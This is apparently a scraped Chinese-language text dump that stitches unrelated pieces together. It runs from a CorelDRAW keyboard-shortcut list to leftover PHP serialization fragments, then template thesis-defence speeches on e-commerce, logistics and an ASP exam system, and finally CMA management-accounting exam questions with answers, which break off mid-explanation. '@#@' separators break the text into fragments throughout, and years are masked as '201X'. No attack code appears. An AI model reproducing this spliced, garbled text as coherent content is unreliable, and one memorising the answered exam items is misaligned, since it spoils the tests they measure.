#@@#@储存作用中绘图【Ctrl】+【s】@#@打开一个现有的绘图文件【Ctrl】+【O】@#@打印作用中图文件【Ctrl】+【P】@#@将文字或物件以另一种格式输出【Ctrl】+【E】@#@输入文字或物件【Ctrl】+【I】@#@建立一个新的绘图文件【Ctrl】+【N】@#@打开「编辑文字」对话框【Ctrl】+【Shift】+【T】@#@将文字变更为垂直(切换)【Ctrl】+【.】@#@变更文字为水平方向【Ctrl】+【,】@#@设定文字属性的格式【Ctrl】+【T】@#@新增/删除文字物件的项目符号(切换式)【Ctrl】+【M】@#@将美工文字转换成段落文字,或将段落文字转换为美工文字【Ctrl】+【F8】@#@将文字对齐基准线【Alt】+【F12】@#@重绘绘图窗口【Ctrl】+【w】@#@在最后两个使用的检视品质间互相切换【Shift】+【F9】@#@以全屏幕预览的方式显示图文件【F9】@#@执行显示比例动作然后返回前一个工具【F2】@#@打开「检视管理员泊坞窗口」【Ctrl】+【F2】@#@按下并拖动这个工具便可平移绘图【H】@#@缩小绘图的显示比例【F3】@#@显示绘图中的全部物件【F4】@#@仅放大显示选取物件的比例【Shift】+【F2】@#@显示整个可打印页面【Shift】+【F4】@#@将绘图向上平移【Alt】+【↑】@#@将绘图向下平移【Alt】+【↓】@#@将绘图向右平移【Alt】+【←】@#@将绘图向左平移【Alt】+【→】@#@打开「滤镜泊坞窗口」【Alt】+【F3】@#@打开设定CorelDRAW选项的对话框【Ctrl】+【J】@#@打开「图形与文字样式泊坞窗口」【Ctrl】+【F5】@#@到上一页【PageUp】@#@到下一页【PageDown】@#@将字体大小缩减为前一个点数【Ctrl】+数字键盘【2】@#@将字体大小缩减为「字体大小列表」中的前一个设定【Ctrl】+数字键盘【4】@#@将字体大小增加为「字体大小列表」中的下一个设定【Ctrl】+数字键盘【6】@#@将字体大小增加为下一个点数【Ctrl】+数字键盘【8】@#@变更文字对齐方式为不对齐【Ctrl】+【N】@#@变更文字对齐方式为强迫上一行完全对齐【Ctrl】+【H】@#@新增/删除文字物件的首字放大(切换式)【Ctrl】+【Shift】+【D】@#@变更文字对齐方式为完全对齐【Ctrl】+【J】@#@变更文字对齐方式为向右对齐【Ctrl】+【R】@#@变更文字对齐方式为向左对齐【Ctrl】+【L】@#@变更文字对齐方式为置中对齐【Ctrl】+【E】@#@变更选取文字的大小写【Shift】+【F3】@#@显示非打印字符【Ctrl】+【Shift】+【C】@#@将文字的脱字号(^)移至框架终点【Ctrl】+【END】@#@将文字的脱字号(^)移至框架起点【Ctrl】+【HOME】@#@将文字的脱字号(^)移至文字起点【Ctrl】+【PageUp】@#@将文字的脱字号(^)移到文字终点【Ctrl】+【PageDown】@#@将文字的脱字号(^)向上移一段【Ctrl】+【↑】@#@将文字的脱字号(^)向上移一个框架【PageUp】@#@将文字的脱字号(^)向上移一行【↑】@#@将文字的脱字号(^)向下移一段【Ctrl】+【↓】@#@将文字的脱字号(^)向下移一个框架【PageDown】@#@将文字的脱字号(^)向下移一行【↓】@#@删除文字脱字号(^)右方单字【Ctrl】+【DEL】@#@删除文字脱字号(^)右方字符【DEL】@#@选取文字脱字号(^)右方单字【Ctrl】+【Shift】+【←】@#@选取文字脱字号(^)右方字符【Shift】+【←】@#@选取文字脱字号(^)左方单字【Ctrl】+【Shift】+【→】@#@选取文字脱字号(^)左方字符【Shift】+【→】@#@选取上移一段的文字【Ctrl】+【Shift】+【↑】@#@选取上移一个框架的文字【Shift】+【PageUp】@#@选取上移一行的文字【Shift】+【↑】@#@选取下移一段的文字【Ctrl】+【Shift】+【↓】@#@选取下移一个框架的文字【Shift】+【PageDown】@#@选取下移一行的文字【Shift】+【↓】@#@选取至框架起点文字【Ctrl】+【Shift】+【HOME】@#@选取至框架终点文字【Ctrl】+【Shift】+【END】@#@选取至文字起点的文字【Ctrl】+【Shift】+【PageUp】@#@选取至文字终点的文字【Ctrl】+【Shift】+【PageDown】@#@选取至行首文字【Shift】+【HOME】@#@选取至行首文字【Shift】+【END】@#@将文字的脱字号(^)移至行首【HOME】@#@将文字的脱字号(^)移至行尾【END】@#@将文字的脱字号(^)向右移一个字【Ctrl】+【←】@#@将文字的脱字号(^)向右移一个字符【←】@#@将文字的脱字号(^)向左移一个字【Ctrl】+【→】@#@将文字的脱字号(^)向左移一个字符【→】@#@打开「选项」对话框并选取「文字」选项页面【Ctrl】+【F10】@#@寻找图文件中指定的文字【Alt】+【F3】@#@显示图文件中所有样式的列表【Ctrl】+【Shift】+【S】@#@变更文字样式为粗体【Ctrl】+【B】@#@变更文字样式为有底线【Ctrl】+【U】@#@变更全部文字字符为小写字母【Ctrl】+【Shift】+【K】@#@变更文字样式为斜体【Ctrl】+【I】@#@显示所有可使用或作用中的粗细变化【Ctrl】+【Shift】+【W】@#@显示所有可使用或作用中的字体列表【Ctrl】+【Shift】+【F】@#@显示所有可使用或作用中的HTML字体大小列表【Ctrl】+【Shift】+【H】@#@将字体大小缩减为前一个点数【Ctrl】+数字键盘【2】@#@将字体大小缩减为「字体大小列表」中的前一个设定【Ctrl】+数字键盘【4】@#@将字体大小增加为「字体大小列表」中的下一个设定【Ctrl】+数字键盘【6】@#@将字体大小增加为下一个点数【Ctrl】+数字键盘【8】@#@显示所有可使用或作用中的字体大小列表【Ctrl】+【Shift】+【P@#@其实这些你都可以直接到网上搜索@#@提问者评价@#@谢谢@#@";i:
14;s:
27473:
"ppt答辩演讲稿word版本10页@#@本文部分内容来自网络整理,本司不为其真实性负责,如有异议或侵权请及时联系,本司将立即删除!
@#@@#@==本文为word格式,下载后可方便编辑和修改!
@#@==@#@ppt答辩演讲稿@#@篇一:
@#@5~7分钟论文答辩演讲稿@#@(ppt第1页)@#@尊敬的各位老师,上午好!
@#@我叫XX,是09级电子商务的学生,我的论文题目是:
@#@基于网络营销的企业网站建设策略—郑州鼎盛工程技术公司实证分析,论文是在赵亮老师的悉心指点下完成的,在这里我向赵老师表示深深的谢意,向各位老师不辞辛苦参加我们的毕业论文答辩表示衷心的感谢。
@#@下面我将论文设计的目的和主要内容向各位老师作一汇报,恳请各位老师指导。
@#@@#@(ppt第2页)@#@首先,我想谈谈论文的研究目的与意义。
@#@我们知道,现在的中国正在稳步步入网络化时代。
@#@而随着互联网的发展,网络营销也有了新的发展趋势,其中比较突出的便是企业网站的网络营销价值将得到提高。
@#@在这种大背景下,越来越多的传统企业开始进行网络营销。
@#@本文从郑州鼎盛工程技术公司入手,希望能够为其他已经或者想要进入电子商务领域的传统制造企业提供一些经验。
@#@@#@(ppt第3页)@#@抛开论文引言部分,我想谈谈这篇论文的主要内容。
@#@@#@第一部分是网络营销理论概述;@#@第二部分是企业网站建设分析;@#@@#@第三部分是鼎盛网站实证分析;@#@第四部分是启示与思考。
@#@@#@下面,请允许我就这四部分内容向各位老师作一陈述。
@#@@#@(ppt第4页)@#@第一部分是网络营销理论概述,主要有四点内容:
@#@@#@第一点内容是市场营销理论概述@#@第二点内容是网络营销的概念及特点,需要强调的是它的三个特点:
@#@@#@第一个特点,是跨时空(因为网络营销是超越时间约束和空间限制的);@#@第二个特点,多媒体(因为互联网可以传输像文字、声音和图像等多种媒体的信息,);@#@@#@第三个特点,成长性(这个特点是由它的使用者所决定的,互联网的使用者往往是年轻人、中产阶级和知识分子。
@#@由于这部分群体购买能力@#@强且具有很强的市场影响力,因此,网络营销是一项极具开发潜力的@#@市场渠道);@#@@#@第三点内容网络营销与传统营销的关系:
@#@虽然网络营销以传统营销为基础,他们之间具有相同之处,但网络的特征决定了网络营销具有不同于传统营销模式的特征.@#@第四点内容网络营销的理论创新与发展:
@#@网络营销区别于传统营销的根本原因是@#@网络本身的特性和消费者需求的个性化,因此,网络营销的理论有它自己的重新演绎和创新。
@#@@#@(ppt第5页)@#@第二部分企业网站建设分析,主要有三点内容:
@#@@#@第一点内容,企业网站的作用,作用有六个,其中最重要的便是网站有利于树立企业形象,提高企业的知名度(企业网站如果拥有一个很好的设计定位,会提升企业在人们心中的形象,有利于在网上扩大知名度和推广。
@#@纵观国内外知名企业的网站,我们不难发现这样的规律:
@#@企业的知名度和实力往往与其企业网站的设计制作水平成正比)@#@第二点内容,网站的定位:
@#@任何一个网站,必须首先具有明确的建站目的和目标访问群体,即网站定位。
@#@目的应该是定义明确的,应该清楚主要希望谁来浏览,具体要做到哪些内容,提供怎样的服务,达到什么效果。
@#@@#@网站定位分析包含三大要素:
@#@第一个要素,企业自身分析:
@#@结合企业所处的行业状况和所生产产品的特点进行分析第二个要素,资源分析:
@#@结合企业的财务、人员和所处的法律政治环境进行分析第三个要素,目标顾客分析:
@#@对目标顾客的年龄、性别、学历等各种资料进行分析,为提高顾客服务打下一个好的基础。
@#@@#@第三点内容,网站的优化推广:
@#@网站在建立之后,如果处于无人问津的地位则将会逐渐失去起初的建立意义。
@#@在此背景下,如何提高网站的技术水平、点击率与知名度,日益成为相关领域的热点讨论问题。
@#@网站优化包括三方面内容:
@#@网站标签优化、对文章页面优化、图片优化@#@(ppt第6页)@#@第三部分是鼎盛网站实证分析@#@鼎盛是位于郑州高新区的一家从事粉碎工程技术产品研发与生产的制造企业。
@#@它早在201X年就建立了公司网站,并且做了一些简单的网络宣传,然后便束之高阁一度到201X年,由于在这六年的时间里鼎盛并没有投入太多进行网络营销,因此在这方面并没有取得较好的效果。
@#@201X年新的电子商务总监刘福星的加入,鼎盛踏上了电子商务新的征程。
@#@刘福星带着这个新的团队,与XX推广等一些合作伙伴展开了@#@密切合作。
@#@仅仅在XX平台开展的合作,就帮助公司获得了大量的各户信息。
@#@@#@鼎盛在网站建设方面投入了大量的资金建立了全球网站。
@#@由于他的目标群体是第三世界国家,加上这些国家的语种又不一样,因此鼎盛建立了包括简体中文、英语、俄语、法语、西班牙语、葡萄牙语、阿拉伯语在内七个语种的网站,为鼎盛的全球发展奠定了一个良好的基础。
@#@@#@(ppt第7页)@#@第四部分是启示与思考@#@首先,传统企业想要在电子商务领域成功绝非想象的那么容易,第一点困难便是运营专才的缺乏,第二点困难便是需要思维上进行完全转型。
@#@其次,虽然获得成功不容易,但还是有很大的成长空间的。
@#@最后,大多数的传统企业都缺少忧患意识和冒险精神,不愿过早介入电子商务。
@#@所以,传统企业在进入电子商务时,应该抱着二次创业的心态,认真学习,再加上现有资源,这样的话,就要比纯粹白手起家的“网商”更有优势。
@#@@#@(ppt第8、9页)@#@致谢。
@#@谢谢各位老师,请各位老师批评指正。
@#@@#@篇二:
@#@开题报告答辩演讲稿@#@尊敬的答辩组老师、各位同学:
@#@@#@(打开PPT)大家好,我是XX级XX班的学生XX,下面由我来作开题报告的汇报,我汇报的题目是《相山水泥厂供应物流管理现状与对策研究》。
@#@@#@(翻到PPT第2页)我所汇报的内容分为5个部分,包括,研究内容概述及创新点,研究背景介绍,研究意义、文献综述、发展趋势,论文框架结构以及研究工作的进度安排及研究方法介绍。
@#@(翻到PPT第3页)首先,我想对这篇文章做一个简单的概述,本文根据供应链管理的相关理论,以相山水泥公司为例,分析影响我国水泥行业供应物流管理的因素。
@#@从物流管理的流程和体系等方面分析了相山水泥厂供应物流管理的现状,并剖析了其供应物流管理中存在的主要问题,在分析影响相山水泥厂供应物流管理的相关因素基础上,提出了加强企业供应物流管理的对策措施。
@#@@#@(翻到PPT第4页)本文的创新之处在于通过对企业物流管理现状的分析,发现其中存在的问题,根据供应链管理思想的理论指导,将采购与供应管理、物流运作管理、供应商管理、库存模式等理论与施工实际相结合分析,提出可行的企业改进工作效率的方法途径,帮助建企业解决现实问题。
@#@@#@(翻到PPT第5页)关于研究的背景,我想从三个方面谈谈,首先是我国水泥行业的发展现状,图中所显示的是我国水泥行业产量及增长率,可以看出,我国的水泥行业一直处于较快的发展之中,水泥总产量直线上升。
@#@@#@(翻到PPT第6页)其次是水泥行业的物流过程,由图可以看出,水泥行业的物流主要包括供应物流、生产物流和销售物流三个过程,各物流过程的详细内容在途中均有所展示。
@#@@#@(翻到PPT第7页)最后是水泥行业的物流管理内容,主要包括7个方面,供应计划编制作业、采购作业、货物到达入库作业、仓库管理作业、发货作业处理、成本统计作业和营运管理及绩效评估作业。
@#@@#@(翻到PPT第8页)通过以上的背景介绍,我们对水泥行业的物流管理有了一些认识,下面我想谈谈这篇文章的研究意义。
@#@水泥行业在我国现代化建设中扮演着重要的角色,在今后较长一段时期内,我国的水泥消费仍将保持在较高的水平。
@#@近年来,我国的水泥行业取得了较大的发展,但仍然存在比较严重的问题。
@#@本研究以相山水泥厂为例,根据企业物流的内容框架,分析该企业物流管理的现状,找出该企业所面临的物流管理方面的问题,并运用物流管理、供应链管理、采购管理等理论,为改进相山水泥厂物流管理水平提出相关建议。
@#@@#@(翻到PPT第9页)现阶段国外关于物流供应链管理的研究主要集中在逆向物流、供应链的集成和整合以及将博弈论、运筹学、仿真学等与供应链管理相结合。
@#@国内物流与供应链管理领域的研究还处于物流管理和供应链管理乃至交通运输管理多领域或多种观念并存的阶段@#@(翻到PPT第10页)未来关于物流管理的趋势主要集中在弥合流通渠道中企业间的矛盾,探索出新的联盟型或合作式的物流管理新体系,实现原来不可能@#@达到的物流效率,并且创新的成果由企业共享。
@#@@#@(翻到第11页)下面是文章结构的介绍,文章包括六个部分,如图(将文章结构读一遍),本文按照提出问题、分析问题、研究对策、建议与结论的步骤确定文章结构。
@#@@#@(翻到第12页)研究工作的进度分为四个阶段,文献调研、理论分析、论文撰写和修改补充(然后将每一部分的内容和时间读一遍)。
@#@@#@(翻到第13页)最后我介绍一下本文将用到的研究方法,主要有调查法和PEST分析法,运用调查法对相山水泥厂进行实地调查,获取所需要的资料,而在对相山水泥公司的供应物流管理现状及影响因素进行分析时使用PEST分析法。
@#@@#@(翻到第14页)我的汇报结束了,谢谢大家!
@#@请答辩老师点评!
@#@@#@如果答辩老师问到本文所用到的研究方法,这样回答:
@#@在对相山水泥厂供应物流管理影响因素进行分析时,将使用PEST分析法进行分析,从政治、经济、社会、技术等方面对宏观环境进行分析。
@#@@#@篇三:
@#@答辩演讲稿@#@尊敬的评委老师,大家好!
@#@我是成教学院自考08级电子商务专业的王晴学号ZK08061010毕业论文题目是《基于ASP的在线考试系统的设计和分析》下面我将本论文分析设计的目的和主要内容向各位老师做汇报,恳请各位老师批评指正。
@#@@#@首先请看大屏幕我将论文分为五大部分,前言、绪论、系统模块的分析、结论与缺陷、致谢@#@前言@#@部分网络化教育代表了教育改革的一个发展方向,已经成为现代教育的一个特征,并对教育的发展形成新的推动力。
@#@随着Internet/Intranet的迅速发展和广泛普及,建立在其上的远程教育成为现代教育技术未来发展方向之一,考试测试作为远程教育的一个子系统也成为一个重要的研究领域。
@#@现代远程教育作为一种新的教学手段已经开始进入我们的生活,正在给传统教育模式带来新的变革,并对教育的发展形成新的推动力。
@#@(ppt)@#@绪论分为3部分课题来源状况、研究目的及意义、网上考试系统概述(ppt)@#@课题来源@#@伴随着远程教学的推广普及,作为远程教学系统的子系统——在线考试系统在教育领域的应用越来越普遍,鉴于它的实用性,我的毕业设计选择分析设计一个适用于小型教学管理的在线考试系统。
@#@(ppt)世界上有许多标准化组织或机构制定的网络教育资源标准里面都涉及到了有关网络考试系统的相关内容,其中影响较大的有:
@#@IEEELTSC的LOM、OCLCDUBLINCORE的DUBLINCORE元数据标准,IMS的LearningResoureeMetadata和QTI。
@#@(ppt)@#@国外:
@#@美国是率先将计算机技术应用于教育测量的国家,目前已经步入成熟应用阶段。
@#@著名的考试机构美国思而文学习系统有限公司(ppt),它是一家从事教育和计算机化考试服务的专业公司,它在世界的6大洲140多个国家和地区有2200多个考试中心,可用25种语言提供近百个不同类型、一千多种考试。
@#@当今大部分的授证机构均为拖思而文公司为其进行测评。
@#@而世界上最大的考试机构——美国教育考试服务中心从1993年开始在GRE(研究生入学考试)采用自适应考模式,同时逐步减少纸卷为基础的考试。
@#@当Internet出现后,TOEFL、GRE考试、微软、思科的水平认证考试逐步由原来的单机版转向网络化过度。
@#@@#@国内:
@#@我国教育部于201X年5月推出《现代远程教育资源建设技术规范》(试行本),其中对网络题库,考试系统的建设规范进行定义。
@#@201X年11月,教育部组织国内8所重点高校的有关专家成立了教育部信息化技术标准委员会(CELTSC),开展网络教育技术标准研制,制定了中国现代远程教育技术标准CELTS其中包括练习\测试互操作规范QTI(CELTS—10)、平台与媒体标准引用组普(CELTS—17)。
@#@@#@目前这些标准还处于不断检验,完善阶段,符合这些标准的网络考试系统还不是很多。
@#@我国的CELTSC标准主要参考IEEE和IMS,处于试用阶段。
@#@我国只有在计算机类的考试部分采用了计算机辅助测试的方式,如全国计算机等级考试的一级、二级的上机考试,大学英语四、@#@六级考试(CET)都采用计算机抽题出卷的方式机型测验,比较出名的有北京师范大学研制的题库系统等。
@#@@#@国内的清华大学、西安交通大学、湖北大学等都在Internet出现后开发了针对客观题得网上测试系统。
@#@国内一些商业软件公司也在积极研制,比较著名的有英时软件公司的PowerExam、清华豪泰的科教201X、点控科技的点控考试平台等。
@#@@#@研究的目的及意义@#@研究目的:
@#@主要目的为,建立完备的试题库,整合现有的考试资源,提高资源的利用率和当前的工作效率;@#@利用计算机自动生成试卷,减少教师负担,提高试卷的科学性,同时也防止考生抄袭作弊.@#@研究意义:
@#@可以实现教考分离以及考务工作的全自动化管理,可以有效利用校园网的软硬件资源,使其发挥最大效力,更好的为学校的教学、科研、管理服务,可以大规模的实行考试,实现考试的客观、公证性,自动化组卷、阅卷可以减轻教师的工作强度。
@#@(ppt)@#@研究的基本内容:
@#@@#@项目背景意义:
@#@查阅本项目国内外研究情况,及在线考试系统目前发展情况。
@#@@#@相关技术:
@#@分析完成本项目所需使用的技术及特点。
@#@@#@系统分析:
@#@根据在线考试系统工作内容、用户现有网络及软硬件现状和用户对系统的性能要求选用合适的开发工具及数据库工具构建在线考试系统平台,实现在线考试系统的动态信息化管理。
@#@@#@系统设计与实现:
@#@建立完备的试题库,整合现有的考试资源,提高资源的利用率和当前的工作效率;@#@利用计算机自动生成试卷,减少教师负担,提高试卷的科学性,同时也防止考生抄袭作弊;@#@登陆后可以根据用户类型的不同分别进入不同的界面,身份验证严格;@#@考生答完卷后答案自动存储,若时间已到而试题未答完则自动保存成绩后强行退出;@#@设定自动阅卷功能,标准化试题由于答案固定,可以让计算机自动将考生答案和标准化答案比对,自动生成成绩,确保成绩的公平和公正,从而利于教学改进。
@#@(ppt)@#@网上考试系统概述@#@该系统运用先进的题库设计思想和网上考试框架,采用B/S架构,使用ASP开发,性能稳定;@#@服务器端采用MSSQLSERVER201X个人版数据库。
@#@该系统易学易用,具有许多鲜明的特点。
@#@@#@特点:
@#@
(1)实现题库数字化。
@#@
(2)随机自动生成试卷。
@#@(3)有效保存考试数据。
@#@(4)加强安全性控制。
@#@(5)便利快捷。
@#@(ppt)@#@与传统考试模式相比,网上考试具有无可比拟的优越性,它可以将传统考试过程中的试卷组织、审定印制、传送收集、登记发放、评判归档各个环节缩小到一至两个环节,几乎屏蔽了所有人工直接干预考试活动的可能性,不但能够节约大量的时间、人力、物力与财力,而且还可以大幅度提高考试成绩的客观性和公正性。
@#@@#@网上考试系统课题产生是当今教育信息化的趋势及我国高校教育信息化系统的建设所需;@#@目的是充分利用学校现有的计算机软、硬件资源和网络资源实现无纸化考试以避免传统手工考试的不足。
@#@与传统考试模式相比,网上考试渗入了更多的技术环节,对实现安全性的途径、方法也提出了更高的技术要求。
@#@通过Internet/Intranet来实现网上考试,是现代教育技术的一个具体实现,具有很重要的现实意义。
@#@可以实现教考分离以及考务工作的全自动化管理,可以有效利用校园网的软硬件资源,使其发挥最大效力,更好的为学校的教学、科研、管理服务,可以大规模的实行考试,实现考试的客观、公证性,自动化组卷、阅卷可以减轻教师的工作强度。
@#@@#@考试与课堂教学一直是教学活动中两个最重要的环节。
@#@现在的各种考试大都采用传统的考试方式,一次考试需要经过多个步骤,教师出题、印卷、考生考试、人工阅卷、成绩评估和试卷分析等,消耗了大量人力物力,随着考试类型的不断增加及考试要求的不断提高,教师的工作量将会越来越大,可以说传统的考试方式已经不能很好地满足现代考试的需要。
@#@随着网络技术、远程教育的发展与普及,我们迫切要求用~种新的方式来进行考试,以减轻教师的工作负担、提高工作效率,提高考试质量,使考试更趋于客观、合理和公证,更有利于教与学。
@#@@#@因此网络考试系统的软件开发是现阶段研究开发的一个热点。
@#@量前许多国际著名的IT公司所举办的各种认证考试绝大部分采用这种方式。
@#@它是建立在国际互联网上的应用系统,客户端的配置可以极为简单,使考试不受地域的局限。
@#@一个完备的网络考试系统可以使用户在网上学习过后及时检验自己的学习效果,以发现自己的不足,使得学习效率得到很大提高。
@#@在线考试系统中题网的生成、试卷的提交、成绩的批阅等都可以在网络上自动完成。
@#@只要形成一套成熟的题库就可以实现考试的自动化。
@#@这样一来,教师所要做的只是精心设计题目、维护题库,而不是组织考试,从而大大减轻了教师的负担。
@#@@#@系统模块分析分为四部分:
@#@开发工具简介、系统需求分析、系统设计@#@开发工具简介@#@系统运行环境:
@#@本系统的运行环境为windowXP@#@系统开发平台:
@#@前台开发工具:
@#@DreamweaverMX201XMicrosoftIIS6.0@#@后台数据库:
@#@MicrosoftAccess201X@#@ASP的特点:
@#@1.无需编译2.易于生成3.独立于浏览器4.面向对象5.与任何ActiveXscripting语言兼容6.源程序码不会外漏(ppt)@#@从软件的技术层面看,ASP有如下的特点如下:
@#@@#@1.无需编译,ASP脚本集成于HTML当中,容易生成,无需编译或链接即可直接解释执行。
@#@@#@2.易于生成,使用常规文本编辑器(如WINDOWS下的记事本),即可以进行*.asp页面的设计。
@#@若从工作效率来考虑,不妨选用具有可视化编辑能力的Dreamweaver.@#@3.独立于浏览器,用户端只要使用可解释常规HTML码的浏览器,即可浏览ASP所设计的主@#@页。
@#@ASP脚本是在站点服务器端执行的,用户端的浏览器不需要支持它。
@#@因此,若不通过从服务器下载来观察*.asp主页,在浏览器端见不到正确的页面内容。
@#@@#@4.面向对象,在ASP脚本中可以方便地引用系统组件和ASP的内置组件,还能通过定制ActiveXServerComponent(ActiveX服务器组件)来扩充功能。
@#@@#@5.与任何ActiveXscripting语言兼容,除了可使用VBScript和JScript语言进行设计外,还可通过Plug-in的方式,使用由第三方所提供的其它scripting语言。
@#@@#@6.源程序码不会外漏ASP脚本在服务器上执行,传到用户浏览器的只是ASP执行结果所生成的常规HTML码,这样可保证辛辛苦苦编写出来的程序代码不会被他人盗取。
@#@@#@ASP的功能描述从应用的层面看,ASP有如下的功能:
@#@1.处理由浏览器传送到站点服务器的表单输入。
@#@2.访问和编辑服务器端的数据库表。
@#@使用浏览器即可输入、更新和删除站点服务器的数据库中的数据。
@#@3.读写站点服务器的文件,实现访客计数器、座右铭等功能。
@#@4.提供广告轮播器、取得浏览器信息、URL表管理等内置功能。
@#@5.由cookies读写用户端的硬盘文件,以记录用户的数据。
@#@6.可以实现在多个主页间共享信息,以开发复杂的商务站点应用程序。
@#@7.使用VBScript或JScript等简易的脚本语言,结合HTML码,快速完成站点的应用程序。
@#@通过站点服务器执行脚本语言,产生或更改在客户端执行的脚本语言。
@#@8.扩充功能的能力强,可通过使用VisualBasic、Java、VisualC等多种程序语言制作ActiveXServerComponent以满足自己的特殊需要。
@#@@#@ASP的机制ASP典型工作过程如下,如图下所示:
@#@1在客端浏览器上输入一个URL让地址并回车,请求一个贝面;@#@2服务器接受用户请求,调出相应页面(假设该页面含有一个表单);@#@3服务器把刚调出的含有表单的页面送给客户机浏览;@#@4用户填写完表单,单击“提交”按钮把数据送给服务器,假设表单中Action的URL是带有扩展名.ASP的文件;@#@5服务器运行该ASP文件,取出用户提交的信息;@#@6如果ASP文件需要从数据库中得到信息,那么它与数据库连接并从数据库中取出数据;@#@7运行ASP文件,按照用户请求生成一个HTML结果页面;@#@8服务器把结果页面送给客户机浏览器。
@#@(ppt)@#@Dreamweaver@#@Dreamweaver是Macromedia公司推出的可视化网页编辑工具,它是目前最流行的网页设计软件之一,它提供了可视化的网页编辑工具,具有所见即所得的功能,它与Fireworks和Flash一起被誉为网页制作“三剑客”。
@#@(ppt)@#@Dreamweaver与其他的网页开发工具相比,具有以下优势:
@#@1.方便的代码编辑提供HTML编辑器,能方便自如地在可视化编辑状态与源代码编辑状态之间切换。
@#@在Dreamweaver中,光标在源代码编辑器中是什么位置,切换到可视化的编辑窗口之后,就会出现在相应的位置。
@#@@#@2.强大的动态网页支持Dreamweaver的行为(Behavior)让设计者在不会JavaScript的情况下,也能给网页添加动态的效果,还可以精确地对其进行定位,再加上时间链的功能,可以生成丰富的动态层效果。
@#@3.不生成冗余代码可视化的网页编辑器可以把设计者的操作转换@#@成相应的HTML源代码,Dreamweaver在使用时不会生成多余的无用代码,避免了很多麻烦。
@#@而且可以通过设置,利用Dreamweaver清除掉网页文件中原有的多余代码。
@#@@#@4.操作简便利用Dreamweaver中的可视化编辑功能,设计者可以快速地创建页面,而无需编写任何代码;@#@可以查看所有站点元素或资源,并将它们从易于使用的面板直接拖到文档中;@#@还可以在MacromediaFireworks或其他图形应用程序中创建和编辑图像,然后将它们直接倒入Dreamweaver,或者添加MacromediaFlash对象,从而优化了设计者开发工作的流程。
@#@@#@5.优秀的网站管理功能Dreamweaver可以让设计者使用服务器技术(例如:
@#@CFML,ASP.NET,ASP,JSP和PHP)生成由动态数据库支持的Web应用程序。
@#@设计者还可以定义本地站点,如果改变了文件的名称和位置,Dreamweaver可以自动更新相应的超级链接,大大地简化了工作。
@#@另外,还可以通过FTP上传或更新管理远程的站点。
@#@6.便于扩展Dreamweaver支持各种第三方的插件以扩展功能;@#@也可以自己制作插件,使DreamweaverMX201X变得更方便实用。
@#@7.功能全面的编码环境Dreamweaver还提供了功能全面的编码环境,其中包括代码编辑工具(例如:
@#@代码颜色和标签完成),有关HTML、层叠样式表(CSS)、JavaScript、ColdFusion标记语言、ASP和JSP的参考资料。
@#@Macromedia可自由导入导出HTML技术,可导入手工编码的HTML文档,而不会重新设置代码的格式,可以随后用首选的格式设置样式来重新设置代码的格式。
@#@@#@Dreamweaver优势:
@#@@#@1.方便的代码编辑2.强大的动态网页支持3.不生成冗余代码4.操作简便5.优秀的网站管理功能6.便于扩展7.功能全面的编码环境(ppt)@#@系统分析@#@1建立学校软件符合现代教育推广,现今很多学校都采用B/S技术模式建立。
@#@2制作的成本低,覆盖面广。
@#@成绩提高的效果好。
@#@3系统具有良好的人机界面。
@#@4考试题材,方便了学生得到更广泛的知识。
@#@5查看分数信息;@#@系统运行稳定,安全可靠。
@#@(ppt)@#@系统根据用户性质不同开发四类不同的客户端程序,为不同用户所使用。
@#@1系统管理员,其主要功能是做系统管理,具体有:
@#@系统初始化、全面管理各类用户的密码、系统中数据库的转储与故障恢复、运行维护等,2教务考务管理员,其主要功能是确定该系统的应用范围、各类用户的注册、试卷的审批、学生考试试卷的自动生成等;@#@3出题教师(单科题库维护),该用户是本系统中最重要的一类用户,每门课程为一个用户,一般由担任该课教学任务的一个";i:
15;s:
23394:
"CMA美国注册管理会计师考试中文p1试题及答案123@#@美国注册管理会计师考试中文p1试题及答案@#@ @#@@#@1、Automite公司是设在大城市社区里的企业配件更换代理商。
@#@Automite正在准备来年的销售预测。
@#@关于过去10年里Automite的更换配件的销售数据和行业的更换配件销售数据,以及这个社区里二手车和新车的销售数据都被收集。
@#@如果Automite要判断它的更换配件的销售增长和行业的更换配件销售增长是否有一个历史趋势,公司应该采用@#@A、模拟技术@#@B、排队理论@#@C、统计抽样@#@D、时间序列分析@#@试题解析:
@#@@#@时间序列分析是一个变量随着时间的流逝而发生的一系列衡量。
@#@它的目的是为了发现数据中的规律(趋势、周期、季节性和偶然事件),并用这些规律来预测变量的未来值。
@#@@#@2、以下哪项不是作业为基础的预算的优点?
@#@@#@A、更好识别资源需求@#@B、将成本与产出相联系@#@C、减少计划的不确定@#@D、识别预算松弛@#@试题解析:
@#@@#@作业为基础的预算关注生产和销售产品和服务(称为输出)所需作业的预算成本。
@#@接下来,这个将提高对资源需求和预算松弛的识别。
@#@但是,作业为基础的预算不能减少计划的不确定性。
@#@@#@3、在公司目标被建立和沟通之后,计划流程的下一步是制定@#@A、生产预算@#@B、销售预算@#@C、直接材料预算@#@D、销售和管理预算@#@试题解析:
@#@@#@在公司目标被建立和沟通之后,预算流程开始了。
@#@预算流程的第一步是完成销售预算。
@#@@#@4、以下哪项关于销售与管理预算的表述是最准确的?
@#@@#@A、销售与管理预算本质上是固定的@#@B、销售与管理预算很难分摊到每月,最好用整年的一个数来表示@#@C、销售与管理预算需要具体,这样它们的假设可以更好地被理解@#@D、销售与管理预算应该是销售的一个固定比率,并应该使用从下而上的方法来制定@#@试题解析:
@#@@#@销售与管理预算需要具体,为的是确定相关的销售与管理费用事项。
@#@相关的细节可以增强目标的沟通,行动的协调和作业的控制。
@#@@#@5、现金收入预算包括@#@A、营业用品@#@B、债务的清偿@#@C、贷款的进款@#@D、利息费用@#@试题解析:
@#@@#@贷款的进款是现金的收入,其他选项都是现金支出。
@#@@#@6、在12月里,CrystalClear制瓶公司希望销售12,500箱的CSW,售价是每箱$24.80,以及33,100箱的LDC,售价是每箱$32.00。
@#@销售人员在销售每箱CSW上可以得到6%的佣金,在销售每箱LDC上可以得到8%的佣金。
@#@为了获得佣金,销售人员必须完成个人的销售配额。
@#@CSW的配额是$500,000,LDC的配额是$1,000,000。
@#@12月应该预算的佣金是@#@A、$4,736@#@B、$84,736@#@C、$82,152@#@D、$103,336@#@试题解析:
@#@@#@销售人员可以在每箱CSW上获得6%的佣金和每箱LDC上获得8%的佣金。
@#@为了获得佣金,销售人员必须完成个人的产品收入配额。
@#@CSW的销售配额是$500,000,LDC的销售配额是$1,000,000。
@#@12,500箱CSW,每箱$24.80的销售收入是$310,000(12,500x$24.80)。
@#@由于$310,000低于$500,000的佣金门槛,销售人员不能得到CSK的销售佣金。
